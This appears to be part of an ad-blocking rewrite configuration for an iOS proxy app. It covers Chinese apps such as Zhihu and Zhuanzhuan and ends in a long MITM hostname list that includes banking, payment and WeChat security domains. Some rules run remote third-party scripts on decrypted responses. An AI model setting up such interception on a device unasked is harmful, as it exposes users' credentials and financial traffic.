https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/picc/picc_ads.js + +# > 中油优途 +# hostname = sichuan.95504.net +^https?:\/\/sichuan\.95504\.net\/v\d\/gd\/index\/get url reject-200 + +# > 中羽在线 +# hostname = app.badmintoncn.com +^https?:\/\/app\.badmintoncn\.com\/mag\/operative\/v\d\/ad\/listNotEndByPlace\?place=first_page url reject-200 + +# > 中通快递 +# hostname = hdgateway.zto.com +# 微信小程序净化 +^https?:\/\/hdgateway\.zto\.com\/getApolloConfig url reject-dict +^https?:\/\/hdgateway\.zto\.com\/track url reject-dict +^https?:\/\/hdgateway\.zto\.com\/getAdInfo url reject-dict +^https?:\/\/hdgateway\.zto\.com\/listJumperShow url reject-dict + +# > 中银跨境GO +# hostname = openapi.boc.cn +# 开屏广告 首页弹窗 如开启可自行添加主机名 +^https?:\/\/openapi\.boc\.cn\/unlogin\/app\/cbsp\/query_ad_list url reject-200 + +# > 中油好客e站小程序 +# hostname = minipro.95504.net +# 弹窗广告 +^https?:\/\/minipro\.95504\.net\/app\/json\/ad\/getPopAdData url reject-dict +# 底部横幅广告 +^https?:\/\/minipro\.95504\.net\/app\/json\/ad\/getIndexAdData url reject-dict + +# > 中关村在线 +# hostname = apicloud.zol.com.cn +# 需要重装 +^https?:\/\/apicloud\.zol\.com\.cn\/Article\/WapLaunchLogo url reject-dict + +# > 众邦银行 +# hostname = direct.z-bank.com +# 倒计时还在,点击任意位置跳过开屏动画 +^https?:\/\/direct\.z-bank\.com\/portal\/AdvertImageDownLoad4Mobile\.do url reject-200 + +# > 涨乐财富通 +# hostname = c.zhangle.com, live.inst-service.htsc.com, geetest.htsc.com, 119.29.29.98 +# 开屏广告 弹窗广告 +^https?:\/\/c\.zhangle\.com\/pic\/mktg\/diversity\/.+\.jpg$ url reject-dict +^https?:\/\/live\.inst-service\.htsc\.com\/live url reject-dict +^https?:\/\/geetest\.htsc\.com:8888\/pre_get_token url reject-200 +^https?:\/\/119\.29\.29\.\d+\/d url reject-200 + +# > 知乎 +# hostname = api.zhihu.com, www.zhihu.com, appcloud2.zhihu.com, m-cloud.zhihu.com, zhuanlan.zhihu.com, link.zhihu.com +# 首页 悬浮图标,顶部横幅,开屏广告,关注页推荐,推荐信息流,热榜信息流,热榜直播,回答底部卡片 +^https:\/\/api\.zhihu\.com\/(answers|articles)\/v2\/\d+ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/api\.zhihu\.com\/commercial_api\/app_float_layer url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/api\.zhihu\.com\/commercial_api\/(answer\/\d+\/bottom-v2|article\/\d+\/bottom-v2|banners_v3\/app_topstory_banner|launch_v2|real_time_launch_v2) url reject-dict +^https:\/\/api\.zhihu\.com\/content-distribution-core\/bubble\/common\/settings url reject-dict +^https:\/\/api\.zhihu\.com\/feed\/render\/tab\/config\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/api\.zhihu\.com\/(moments\/lastread|drama\/hot-drama-list) url reject-dict +^https:\/\/api\.zhihu\.com\/(moments_v3|topstory\/hot-lists\/total|topstory\/recommend) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/api\.zhihu\.com\/root\/window url reject-dict +^https:\/\/api\.zhihu\.com\/v2\/topstory\/hot-lists\/everyone-seeing\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +# 会员页面 弹窗,悬浮动图 +^https:\/\/api\.zhihu\.com\/(bazaar\/float_window|market\/popovers_v2) url reject-dict +^https:\/\/api\.zhihu\.com\/bazaar\/vip_tab\/header\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +# 我的页面 项目列表,会员卡片 +^https:\/\/api\.zhihu\.com\/me\/guides url reject-dict +^https:\/\/api\.zhihu\.com\/unlimited\/go\/my_card url reject +# 搜索页 关键词,猜你想搜 +^https:\/\/api\.zhihu\.com\/search\/preset_words url reject-dict +^https:\/\/api\.zhihu\.com\/search\/recommend_query\/v2\? url response-body "recommend_queries":\{.+\} response-body "recommend_queries":{} +^https:\/\/www\.zhihu\.com\/api\/v4\/search\/related_queries\/(article|answer)\/\d+ url reject-dict +# 回答详情页,评论区顶部,下一个回答 +^https:\/\/api\.zhihu\.com\/comment_v5\/(articles|answers)\/\d+\/list-headers url reject-dict +^https:\/\/api\.zhihu\.com\/next-(bff|data|render)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/api\.zhihu\.com\/prague\/related_suggestion_native\/feed\? url reject-dict +^https:\/\/api\.zhihu\.com\/questions\/\d+(\/answers|\/feeds|\?include=) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/api\.zhihu\.com\/v5\.1\/topics\/answer\/\d+\/relation url reject-dict +^https:\/\/www\.zhihu\.com\/api\/v4\/(articles|answers)\/\d+\/recommendations?\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +# 其他,服务器推送配置 +^https:\/\/api\.zhihu\.com\/ab\/api\/v1\/products\/zhihu\/platforms\/ios\/config url reject +^https:\/\/api\.zhihu\.com\/ad-style-service\/request url reject-dict +^https:\/\/appcloud2\.zhihu\.com\/v3\/config url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/appcloud2\.zhihu\.com\/v3\/resource\?group_name=mp url reject-dict +^https:\/\/link\.zhihu\.com\/\?target=(https?)?(%3A|:)?(\/\/|%2F%2F)?(.*?)(&source.*)?$ url 302 http://$4 +^https:\/\/m-cloud\.zhihu\.com\/api\/cloud\/config\/all\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +# 网页版去广告 +^https:\/\/api\.zhihu\.com\/distribute\/rhea\/qa_ad_card\/h5\/recommendation\? url reject-dict +^https:\/\/www\.zhihu\.com\/api\/v4\/hot_recommendation url reject +^https:\/\/www\.zhihu\.com\/api\/v4\/mcn\/v2\/linkcards\? url reject +^https:\/\/www\.zhihu\.com\/api\/v4/(answers|questions)\/\d+/related-readings url reject +^https:\/\/www\.zhihu\.com\/commercial_api\/banners_v3\/mobile_banner url reject +^https:\/\/zhuanlan\.zhihu\.com\/api\/articles\/\d+\/recommendation url reject + +# > 追书神器 +# hostname = adx-cn.anythinktech.com +^https?:\/\/adx-cn\.anythinktech\.com\/bid url reject-200 + +# > 作业帮 +# hostname = syh.zybang.com, www.zybang.com +^https?:\/\/(syh|www)\.zybang\.com\/adx\/ url reject-200 + +# > 掌阅 +# hostname = ih2.ireader.com, book.img.ireader.com +^https?:\/\/ih2\.ireader\.com\/zyapi\/bookstore\/ad\/ url reject-200 +^https?:\/\/ih2\.ireader\.com\/zyapi\/self\/screen\/ad url reject-200 +^https?:\/\/ih2\.ireader\.com\/zycl\/api\/ad\/ url reject-200 +^https?:\/\/book\.img\.ireader\.com\/group6\/M00 url reject-img + +# > 掌上道具城 +# hostname = djcapp.game.qq.com +^https?:\/\/djcapp\.game\.qq\.com\/daoju\/igw\/main\/\?_service=welink\.ad\.list&_ret_key=result&site_set url reject-200 + +# > 掌上公交 +# hostname = quanguo.mygolbs.com, wx.mygolbs.com +# 我的横幅广告 +^https?:\/\/quanguo\.mygolbs\.com:8081\/MyBusServer\/servlet\/MyGoServer\.HttpPool\.HttpHandlerServlet url reject-200 +# 小程序广告 +^https?:\/\/wx\.mygolbs\.com\/WxBusServer\/ApiData\.do url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhangshanggongjiao.js + +# > 掌上鹿城 +# hostname = vapp.tmuyun.com +# 开屏广告 +^https?:\/\/vapp\.tmuyun\.com\/api\/app_start_page\/list\/new url reject-dict + +# > 字节跳动 +# hostname = *.pstatp.com, amemv.com, musical.com, snssdk.com, tiktokv.com, dsp.toutiao.com +#^https?:\/\/.+\.pstatp\.com\/img\/ad url reject-200 +^https?:\/\/.+\.(amemv|musical|snssdk|tiktokv)\.com\/(api|motor)\/ad\/ url reject-200 +^https?:\/\/.+\.snssdk\.com\/motor\/operation\/activity\/display\/config\/V2\/ url reject-200 +^https?:\/\/dsp\.toutiao\.com\/api\/xunfei\/ads\/ url reject-200 +^https?:\/\/[\w-]+\.amemv\.com\/aweme\/v\d\/ad\/ url reject +^https?:\/\/[\w-]+\.snssdk\.com\/.+_ad\/ url reject +^https?:\/\/.+\.amemv\.com\/.+app_log url reject-img +^https?:\/\/.+\.amemv\.com\/.+report url reject-img +^https?:\/\/.+\.amemv\.com\/.+stats url reject-img + +# > 最右 +# hostname = api.izuiyou.com, adapi.izuiyou.com +^https?:\/\/api\.izuiyou\.com\/ad\/ url reject +^https?:\/\/adapi\.izuiyou\.com\/ url reject + +# > 转转 +# hostname = app.zhuanzhuan.com +^https?:\/\/app\.zhuanzhuan\.com\/zzx\/transfer\/getConfigInfo url reject-dict +^https?:\/\/app\.zhuanzhuan\.com\/zzopen\/popwindow\/getallpopwin\? url reject-dict +^https?:\/\/app\.zhuanzhuan\.com\/zz\/v2\/zzlogic\/getOpenScreen url reject-dict +# 转转右下角悬浮广告 +^https?:\/\/app\.zhuanzhuan\.com\/zz\/transfer\/userred\?scene=homePage url reject-dict +^https?:\/\/app\.zhuanzhuan\.com\/zz\/v2\/zzinfoshow\/getfeedflowinfo\? url response-body userRed response-body fmz200 +# “我的”页面去除冗余的模块 +^https?:\/\/app\.zhuanzhuan\.com\/zz\/transfer\/getmyprofilev3 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhuanzhuan/zhuanzhuan.js +^https?:\/\/app\.zhuanzhuan\.com\/zz\/v2\/zzinfoshow\/getchoicegoodsinfos url response-body infoData response-body fmz200 + +# > 掌上英雄联盟 +# hostname = us.l.qq.com, ossweb-img.qq.com, mlol.qt.qq.com +# 开屏广告 感谢【𝑨梦 𝑪𝒉𝒙𝒎𝟏𝟎𝟐𝟑】分享 +^https?:\/\/us\.l\.qq\.com\/exapp url reject-200 +^https?:\/\/ossweb-img\.qq\.com\/upload\/adw\/image\/[0-9]{3}\/202[0-9]{5}\/[a-z0-9]{32}\.(jpg|jpeg) url reject-200 +^https?:\/\/mlol\.qt\.qq\.com\/go\/recommend\/(?!v2\/platactivity.*) url reject + +# > 浙里办 +# hostname = portal.zjzwfw.gov.cn +^https?:\/\/portal\.zjzwfw\.gov\.cn\/app_api\/appHome\/selectStartPic url response-body "data":\{.+\} response-body "data":{} + +# > 郑好办 +# hostname = app-izz.zhengzhou.gov.cn +# 去开屏 +^https?:\/\/app-izz\.zhengzhou\.gov\.cn:10019\/bizgw\/gateway\.do url response-body "imgUrl19_5x9":".+?" response-body "imgUrl19_5x9":"" + +# > 住这儿 +# hostname = z.onewo.com +# 开屏广告 感谢【Mozart】分享 +^https?:\/\/z\.onewo\.com\/passer\/api\/ads\/v1\/8\/list url reject-200 + +# > 指点天下 +# hostname = zua.zhidiantianxia.cn +# 开屏广告 +^https?:\/\/zua\.zhidiantianxia\.cn\/api\/adverts url reject + +# > 猪八戒 +# hostname = fastbuyer.zbj.com +^https?:\/\/fastbuyer\.zbj\.com\/configure\/screenAdConfig\/ url reject-200 + +# > 智行APP +# hostname = m.ctrip.com +# 开屏广告 影响携程部分功能正常运行,携程8.40.0以下的版本不受影响。如开启可自行添加主机名 +^https?:\/\/m\.ctrip\.com\/restapi\/soa2\/13916\/scjson\/tripAds url reject-dict + +# > 自如 +# hostname = ztoread.ziroom.com +^https?:\/\/ztoread\.ziroom\.com\/foka-card-api\/popup\/v2\/get url reject-dict +^https?:\/\/ztoread\.ziroom\.com\/ymerApi\/v\d\/index\/open url reject-dict + +# > 追剧达人 +# hostname = zjdr666.com +^https?:\/\/zjdr666\.com\/zjdr\.php\/v\d\/(version|top_notice\?|advert\?position=[^2]+) url reject + +# > 职工普惠 +# hostname = preprod.cdzghome.com +# 需卸载重装 感谢【zyu0090】分享 +^https?:\/\/preprod\.cdzghome\.com:8100\/banner\/bootUp url reject-200 + +# > 正气助手 +# hostname = apio.zhengqi100.com +# 去主界面广告 +^https?:\/\/apio\.zhengqi100\.com\/forum\/thread\/listsHome url reject-dict + +# > 招财猫直聘 +# hostname = beehiveapi.58.com +^https?:\/\/beehiveapi\.58\.com\/adplace\/zcm url reject-dict + +# > 中国国际航空 +# hostname = m.airchina.com.cn +^https:\/\/m\.airchina\.com\.cn\/airchina\/gateway\/v\d(\.\d)*\/api\/services url script-response-header https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/airchina.js + + +# >>>>>>>>>>>>>>> ✅ # ✅ <<<<<<<<<<<<<< + + + +# 去重后的hostname,将对以下域名进行MITM(MAN-IN-THE-MIDDLE:中间人攻击) +hostname = *.gamersky.com, emisdatacenteraws.hafoo.com, spamblocker-api.zeekstudio.com, marketing.cmschina.com, www.tailgdd.com, mobile-consumer-sapp.chery.cn, testflight.apple.com, order-app-api.lbdj.com, plt.yorentown.com, lawsonapi.yorentown.com, ecloud.tppension.cntaiping.com, cache.bydauto.com.cn, app-v1.ecoliving168.com, patient-api.suh.cn, userpms-api.suh.cn, se-api.djiits.com, a.line.me, ad.line-scdn.net, buy.line.me, cix.line-apps.com, crs-event.line.me, d.line-scdn.net, gw.line.naver.jp, legy.line-apps.com, nelo2-col.linecorp.com, obs.line-scdn.net, scdn.line-apps.com, sch.line.me, static.line-scdn.net, uts-front.line-apps.com, w.line.me, vue3-api.zhixiny.cn, mbank5.jsbchina.cn, mobileapi.xiamenair.com, appapi.caiyicloud.com, res1.hubcloud.com.cn, vapp.tmuyun.com, api2.yaduo.com, api.gongkaoleida.com, magev6.if.qidian.com, syh.zybang.com, www.zybang.com, pzoap.moedot.net, app.api.d3yuiw4.com, app-izz.zhengzhou.gov.cn, creditcard.bankcomm.com, *.byteimg.com.*, www.cntv.cn, *.townmalls.cn, chat-live.soulapp.cn, api.flydigi.com, www.ymm56.com, app.ceair.com, mcsp.cloudpnr.com, saas-ad.cloudpnr.com, g.alicdn.com, api.huachenjie.com, open.e.kuaishou.cn, ad.shunchangzhixing.com, img01.51jobcdn.com, api5.youonbike.com, mgesq.api.mgtv.com, *.hitv.com, qiye.gaoding.com, gw.chuangkit.com, zlsdk.1rtb.net, web2.realtech-inc.com, sdk.1rtb.net, gw.xiaocantech.com, delivery-api.imdada.cn, adservice.sigmob.cn, api.u51.com, gateway.36kr.com, xxyx-client-api.xiaoxiaoyouxuan.com, statistic.live.126.net, zgrb.epicc.com.cn, compus.xiaofubao.com, imgx.jampp.com, ad.life.360.cn, wanciwangdata.oss-cn-beijing.aliyuncs.com, recite.perfectlingo.com, ggc.miguvideo.com, public-deliver9.miguvideo.com, display*-sc.miguvideo.com, recommend-dy.miguvideo.com, app-sc.miguvideo.com, common-sc.miguvideo.com, ggx*.miguvideo.com, ggic*.miguvideo.com, b-api.ins.miaopai.com, social.blued.cn, api.petkit.cn, ams-cdn.cdtft.cn, e.weather.com.cn, beehiveapi.58.com, apio.zhengqi100.com, res.hongyibo.com.cn, misc-api-prd-mx.wandafilm.com, e-static.aia.com.cn, api.sogaha.cn, api-miprint.hannto.com, api.indeedpower.com, alt-r.my.com, m.pvp.xoyo.com, *.pipix.com, daijia.kuaidadi.com, as.xiaojukeji.com, preprod.cdzghome.com, api.xbxxhz.com, api.petkit.cn, sfo.mddcloud.com.cn, mob.mddcloud.com.cn, toblog.ctobsnssdk.com, t-dsp.pinduoduo.com, mobads-pre-config.cdn.bcebos.com, sdk1xyajs.data.kuiniuca.com, conf-darwin.xycdn.com, *.ubixioe.com, www.xiaoxiongmeishu.com, gateway.benewtech.cn, ntt-app.benewtech.cn, open.e.kuaishou.cn, api-access.pangolin-sdk-toutiao-b.com, api-access.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao1.com, dsp-x.jd.com, api-cfg.wtzw.com, p1-lm.adukwai.com, bk.bingo.qq.com, maicai.api.ddxq.mobi, gw.api.ddxq.mobi, user.api.ddxq.mobi, c.zhangle.com, midc.cdn-static.abchina.com.cn, enjoy.cdn-static.abchina.com, ocrifs.ejoy.sinopec.com, apicloud.zol.com, minipro.95504.net, service.haiersmarthomes.com, gugongmini.dpm.org.cn, wechat.tf.cn, chl.tf.cn, mbasecc.bas.cmbchina.com, mbasecc.bcs.cmbchina.com, intellicc.bas.cmbchina.com, bohe.sfo-tx-shanghai-01.saas.sensorsdata.cn, api.boohee.com, bohe.sfo-tx-shanghai-01.saas.sensorsdata.cn, lego.boohee.com, status.boohee.com, cdn.133.cn, acs.youku.com, push.m.youku.com, un-acs.youku.com, gw.alicdn.com, tiku.fenbi.com, napi.ithome.com, vapp.tmuyun.com, www.1314zhilv.com, mobile.flightradar24.com, api.17kjs.com, interface.aomiapp.com, oxadmin.cp.com.cn, home.umetrip.com, discardrp.umetrip.com, startup.umetrip.com, dictvip-business.youdao.com, dict.youdao.com, api-overmind.youdao.com, cdke.youdao.com, live.inst-service.htsc.com, gql.reddit.com, gql-fed.reddit.com, imcs.citicbank.com, mkt-gateway.tuhu.cn, tianqi.2345.com, shcss.suning.com, shcss.suning.com, one-app-h5.faw-vw.com, lens.leoao.com, www.binance.info, www.yingwangtech.net, www.binance.com, api.hengdianfilm.com, ump.sz.creditcard.ecitic.com, tbgapplet.carlsberg.asia, mbmodule-openapi.paas.cmbchina.com, api.zhihu.com, appcloud2.zhihu.com, m-cloud.zhihu.com, www.zhihu.com, zhuanlan.zhihu.com, link.zhihu.com, open-cms-api.quark.cn, vv.video.qq.com, evs.500.com, dq.dxy.cn, m.you.163.com, open-cms-api.uc.cn, *.yuxueyuan.cn, pan-api.bitqiu.com, iapi.bishijie.com, run.api.qyfxgd.cn, gongdu.youshu.cc, api.21ec74.com, ztoread.ziroom.com, iphone.ac.qq.com, api.00bang.cn, app.hbooker.com, api.sfacg.com, api3.cls.cn, gateway-api.dushu365.com, external.fcbox.com, dsp.fcbox.com, bdsp-x.jd.com, dsp-x.jd.com, app.homeinns.com, pic.edaijia.cn, cdn-evone-ceph.echargenet.com, mlol.qt.qq.com, gg.caixin.com, cn-acs.m.cainiao.com, zjdr666.com, adapi.izuiyou.com, access.mypikpak.com, open.fitdays.cn, ap.dongqiudi.com, 103.91.210.141, js-ad.ayximgs.com, pipi.4kya.com, tft-app.cdtft.cn, t1.market.xiaomi.com, b.appsimg.com, ios.sspai.com, zconfig.alibabausercontent.com, easyreadfs.nosdn.127.net, sp.kaola.com, mapi.dangdang.com, client.qunar.com, slapi.oray.net, api.internetofcity.cn, lcen.xiaote.net, venus.yhd.com, api.shenyin.name, mage*.if.qidian.com, e.dangdang.com, adproxy.autohome.com.cn, explorer.tratao.com, overseas.weico.cc, 118.178.214.118, client.mail.163.com, api.psy-1.com, cdn.*.chelaileapp.cn, *.laichon.com, api-ad-product.huxiu.com, jad-api.jin10.com, appactive.1234567.com.cn, service.busi.inke.cn, dispatcher.camera360.com, 47.110.187.87, ssp.soulapp.cn, api-account.soulapp.cn, api-global.soulapp.me, api-a.soulapp.cn, api-pay.soulapp.cn, gateway-mobile-gray.soulapp.cn, api-chat.soulapp.cn, post.soulapp.cn, api-user.soulapp.cn, beta-api.crunchyroll.com, helper.2bulu.com, tagit.hyhuo.com, top-widgets-api.xiaozujian.com, *mangaapi.manhuaren.*, apis.lifeweek.com.cn, yanxuan.nosdn.127.net, *.peopleapp.com, new-app-api.ylyk.com, *.58cdn.com.cn, creditcardapp.bankcomm.com, lchttpapi.xczim.com, *.chelaile.net.cn, api.xiaoyi.com, api.douban.com, sso.ifanr.com, s3plus.meituan.net, cdb.meituan.com, *.hoopchina.com, goblin.hupu.com, gmp.lakala.com, wallet.lakala.com, hz.yxzq.com, api.winbull8.com, editor.sm.cn, p0.pipi.cn, 182.92.244.70, ad.myfriday.cn, ios-api.lucklyworld.com, www.onstar.com.cn, facade-api.black-unique.com, cstore-en-public-tx.seewo.com, oneapph5.dongfeng-nissan.com.cn, cds.wifi188.com, homefront.qunar.com, sh-gateway.shihuo.cn, cgbank.oss-cn-shenzhen.aliyuncs.com, imeres.baidu.com, api.taptapdada.com, a.sinopecsales.com, api.nj.nbtv.cn, v3.wufazhuce.com, ma-adx.ctrip.com, yun.tuitiger.com, www.pushplus.plus, ad.mcloud.139.com, fastbuyer.zbj.com, xhtz.oss-cn-guangzhou.aliyuncs.com, promote-trx.helipay.com, hfapp-service.qweather.net, api.ulife.group, api.sodalife.xyz, app.chinahxzq.com.cn, hdgateway.zto.com, mobile-api.imlaidian.com, wxs-weixin.sd.zhumanggroup.com, s.jiediankeji.com, smarket.dian.so, file.dian.so, aag.enmonster.com, hd.xiaojukeji.com, freight.xiaojukeji.com, capis*.didapinche.com, ad.xiaotucc.com, mapi.xiaotucc.com, adsoss.zhinengxiyifang.cn, api-marketing.zhinengxiyifang.cn, ads.zhinengxiyifang.cn, app.missevan.com, bd-api.kuwo.cn, h5app.kuwo.cn, bodianimgcdn.kuwo.cn, mgxhtj.kuwo.cn, nmobi.kuwo.cn, searchrecterm.kuwo.cn, audiobookpay.kuwo.cn, musicpay.kuwo.cn, vip1.kuwo.cn, pacdn.m.stock.pingan.com, manga.bilibili.com, bid.adview.cn, zua.zhidiantianxia.cn, app.10086.cn, mrp.mcloud.139.com, *.i18n-pglstatp.com, api.wmpvp.com, m.prod.app.hsbcfts.com.cn, p*.pstatp.com, mapi.txcmapp.com, api-one-wscn.awtmt.com, fintechappdr.cgws.com, m.qianbao.qq.com, j1.pupuapi.com, 54.222.159.138, ad.lofter.com, images.pinduoduo.com, lofter.lf127.net, client.tujia.com, www.gcores.com, app02.vgtime.com, www.vgtime.com, app.meruki.cn, qimg.cdnmama.com, ecapi.lkcoffee.com, capi.lkcoffee.com, m.lkcoffee.com, gsp.gacmotor.com, appdmkj.5idream.net, www.onstar.com.cn, api.shanghaionstar.com, szdmobile.suzhou.gov.cn, ad.shunchangzhixing.com, api.bwton.com, z.onewo.com, plough.babytree.com, mapiweb.babytree.com, go.babytree.com, aimg.babytreeimg.com, *.ly.com, *.17usoft.com, *.17u.cn, mobilehotelapi.elong.com, quic-tcmapi.elong.com, blog.nilbt.com, www.banyuetanapp.com, ecard.shenzhentong.com, ccmsupport-sz.tenpay.com, dl.app.gtja.com, fuwu.nhsa.gov.cn, api?.sparke.cn, cube.elemecdn.com, nr-op.elemecdn.com, info.mina.xiaoaisound.com, marketing-aibox.v.mitvos.com, home.mi.com, tk.lanjiyin.com.cn, poplayer.template.alibaba.com, acs.m.taobao.com, amdc.m.taobao.com, guide-acs.m.taobao.com, api.alipan.com, member.alipan.com, acs-m.freshippo.com, mcs-mimp-web.sf-express.com, ucmp.sf-express.com, api.ncarzone.com, api.caiyunapp.com, wrapper.cyapi.cn, mres.aibank.com, direct.z-bank.com, mobile.1qianbao.com, middle.yun.139.com, mcmm.caiyun.feixin.10086.cn, cdn-oss.00bang.cn, mapi.sichuanair.com, b2baifanfan.baidu.com, app.badmintoncn.com, portal.zjzwfw.gov.cn, shopapi.io.mi.com, www.ahzs10000.com, quanguo.mygolbs.com, open.taou.com, h3.open.taou.com, sichuan.95504.net, app.10099.com.cn, sdk.alibaba.com.ailbaba.me, mrobot.pconline.com.cn, api.gameplus.qq.com, cdn.sdb.com.cn, creditcardapp.bankcomm.cn, router-app-api.jdcloud.com, api.yonghuivip.com, cdn.jlbank.com.cn, 3g.csair.com, gha.ghac.cn, webappcfg.paas.cmbchina.com, *.qyfxgd.cn, *.weilai555.com, *.ecoliving168.com, vip7.fzwdyy.cn, wcprd.hilton.com.cn, adx-cn.anythinktech.com, www.didapinche.com, client-api-v2.oray.com, sdk.alibaba.com, bgw.xinyue.qq.com, api.tipsoon.com, imeclient.openspeech.cn, m.360buyimg.com, business-cdn.shouji.sogou.com, ios.sogou.com, android.sogou.com, h5api.sginput.qq.com, m*.amap.com, optimus-ads.amap.com, pv.elife.icbc.com.cn, mangaapi.manhuaren.com, news.ssp.qq.com, ccsp-egmas.sf-express.com, zhidao.baidu.com, api.vistopia.com.cn, xyst.yuanfudao.com, mapi.appvipshop.com, guanyu.longfor.com, mp.weixin.qq.com, *.kingsoft-office-service.com, ptmpcap.caocaokeji.cn, pcauto.com.cn, mps.95508.com, i-lq.snssdk.com.*, img0*.luckincoffeecdn.com, app.zhoudamozi.com, apple.fuliapps.com, gurd.snssdk.com.*, peisongapi.meituan.com, cdn.kuaidi100.com, cdn.cmgadx.com, api.gamer.com.tw, impservice.dictapp.youdao.com, api.gaoqingdianshi.com, cdn.dianshihome.com, *.kakamobi.cn, 47.100.65.202, youtubei.googleapis.com, app.wy.guahao.com, mapi.sfbest.com, *.xiangxiangapps.com, cmsfile.wifi8.com, prom.mobile.gome.com.cn, nnapp.cloudbae.cn, api.21jingji.com, a.qiumibao.com, jdread-api.jd.com, open.qyer.com, app-api.niu.com, us.l.qq.com, qde.qunar.com, res.pizzahut.com.cn, book.img.ireader.com, aes.acfun.cn, api-new.app.acfun.cn, images.cib.com.cn, jiucaigongshe.oss-cn-beijing.aliyuncs.com, mage.if.qidian.com, app.aa-ab.com, zone.guiderank-app.com, richmanrules.ksedt.com, richmanapi.jxedt.com, geetest.htsc.com, 119.29.29.*, api.m.mi.com, awg.enmonster.com, api.haohaozhu.cn, du.hupucdn.com, apps.api.ke.com, api.ycapp.yiche.com, omgup*.xiaojukeji.com, issuecdn.baidupcs.com, gab.122.gov.cn, www.oschina.net, m.ibuscloud.com, app.api.versa-ai.com, ok.166.net, image*.benlailife.com, home.mi.com, djcapp.game.qq.com, static.xyzq.cn, iobs.pingan.com.cn, app3.qdaily.com, api.mcd.cn, api.mgzf.com, open.e.kuaishou.com, osg-static.sgcc.com.cn, osg-service.sgcc.com.cn, app.dewu.com, cdn.poizon.com, supportda.ofo.com, r6.mo.baidu.com, res.mi.baidu.com, mbd.baidu.com, capi.mwee.cn, m.client.10010.com, m1.ad.10010.com, res.mall.10010.cn, app.yinxiang.com, img.meituan.net, baidu.com, *-release.wuta-cam.com, cdnmobibank.bankofbeijing.com.cn, mapi.mafengwo.cn, mada-travel.17u.cn, ebk.17u.cn, api.izuiyou.com, appconf.mail.163.com, api.dangdang.com, cmsapi.wifi8.com, daoyu.sdo.com, gw.aihuishou.com, bp-api.bestv.com.cn, bp-image.bestv.com.cn, portal-portm.meituan.com, mall.meituan.com, cdn-xyk-app.bankofbeijing.com.cn, thor.weidian.com, open3.vistastory.com, i.ys7.com, www.xiaohongshu.com, edith.xiaohongshu.com, ci.xiaohongshu.com, rec.xiaohongshu.com, api.caijingmobile.com, j5.dfcfw.com, capi.douyucdn.cn, icc.one, api.coolapk.com, ios.xiangjiaoapps.com, img.wukongtv.com, service.4gtv.tv, static.api.m.panda.tv, api-mifit*.huami.com, channel.beitaichufang.com, static.95508.com, wap.bank.ecitic.com, file.cibfintech.com, api*.futunn.com, mob.mddcloud.com, i.snssdk.com.*, images.client.vip.xunlei.com, api-shoulei-ssl.xunlei.com, elemecdn.com, l*.51fanli.net, app.zhuanzhuan.com, *.bdstatic.com, rs.creditcard.cmbc.com.cn, ocean.shuqireader.com, api.fengshows.com, sh-gateway.shihuo.cn, api.touker.com, app.variflight.com, sofire.baidu.com, www.cmbc.com.cn, img01.10101111cdn.com, r.inews.qq.com, *.xima*.*, afd.baidu.com, appwk.baidu.com, ios.lantouzi.com, mpcs.suning.com, m.tuniu.com, api.jxedt.com, dns.jd.com, api.m.jd.com, m.jd.com, *.k.sohu.com, www.nfmovies.com, static01.versa-ai.com, gfp.veta.naver.com, mpos-pic.helipay.com, api.yikaobang.com.cn, god.gameyw.netease.com, image.spdbccc.com.cn, fbchina.flipchina.cn, media.qyer.com, webcast-open.douyin.com, ether-pack.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao?.com, sf*-fe-tos.pglstatp-toutiao.com, restapi.iyunmai.com, static.shihuocdn.cn, weixin110.qq.com, appapi.huazhu.com, hweb-hotel.huazhu.com, hweb-manager.huazhu.com, lban.spdb.com.cn, wap.spdb.com, smart.789.image.mucang.cn, btrace.qq.com, img.dailmo.com, app.95598pay.com, reading-hl.snssdk.com, adproxy.autohome.com, ma.ofo.com, dl*.app.gtja.com, activity2.api.ofo.com, luckman.suning.com, app.xinpianchang.com, static.gameplus.qq.com, portal-xunyou.qingcdn.com, notch.qdaily.com, pan.baidu.com, tiebac.baidu.com, *.tieba.baidu.com, snailsleep.net, *.xmcdn.*, api.laifeng.com, fuss10.elemecdn.com, smkmp.96225.com, static.creditcard.hxb.com.cn, sf3-be-pack.pglstatp-toutiao.com, ossgw.alicdn.com, *.mgtv.com, oral.youdao.com, p.kuaidi100.com, mlife.jf365.boc.cn, heic.alicdn.com, acs.m.goofish.com, g-acs.m.goofish.com, dinamicx.alibabausercontent.com, www.tsytv.com, app2.autoimg.cn, www.iyingdi.cn, m.baidu.com, webboot.zhangyue.com, api4.bybutter.com, security.wechat.com, api.xiachufang.com, 4gimg.map.qq.com, p.du.163.com, support.you.163.com, apiwz.midukanshu.com, tc.qq.com, img.admobile.top, api.pinduoduo.com, cheyouapi.ycapp.yiche.com, api.kkmh.com, ad.ysepay.com, ports3.gtimg.com, i*.hdslb.com, m.yap.yahoo.com, webcdn.m.qq.com, rtbapi.douyucdn.cn, dapis.mting.info, qidian.qpic.cn, games.mobileapi.hupu.com, emdcadvertise.eastmoney.com, mime.baidu.com, api.club.lenovo.cn, 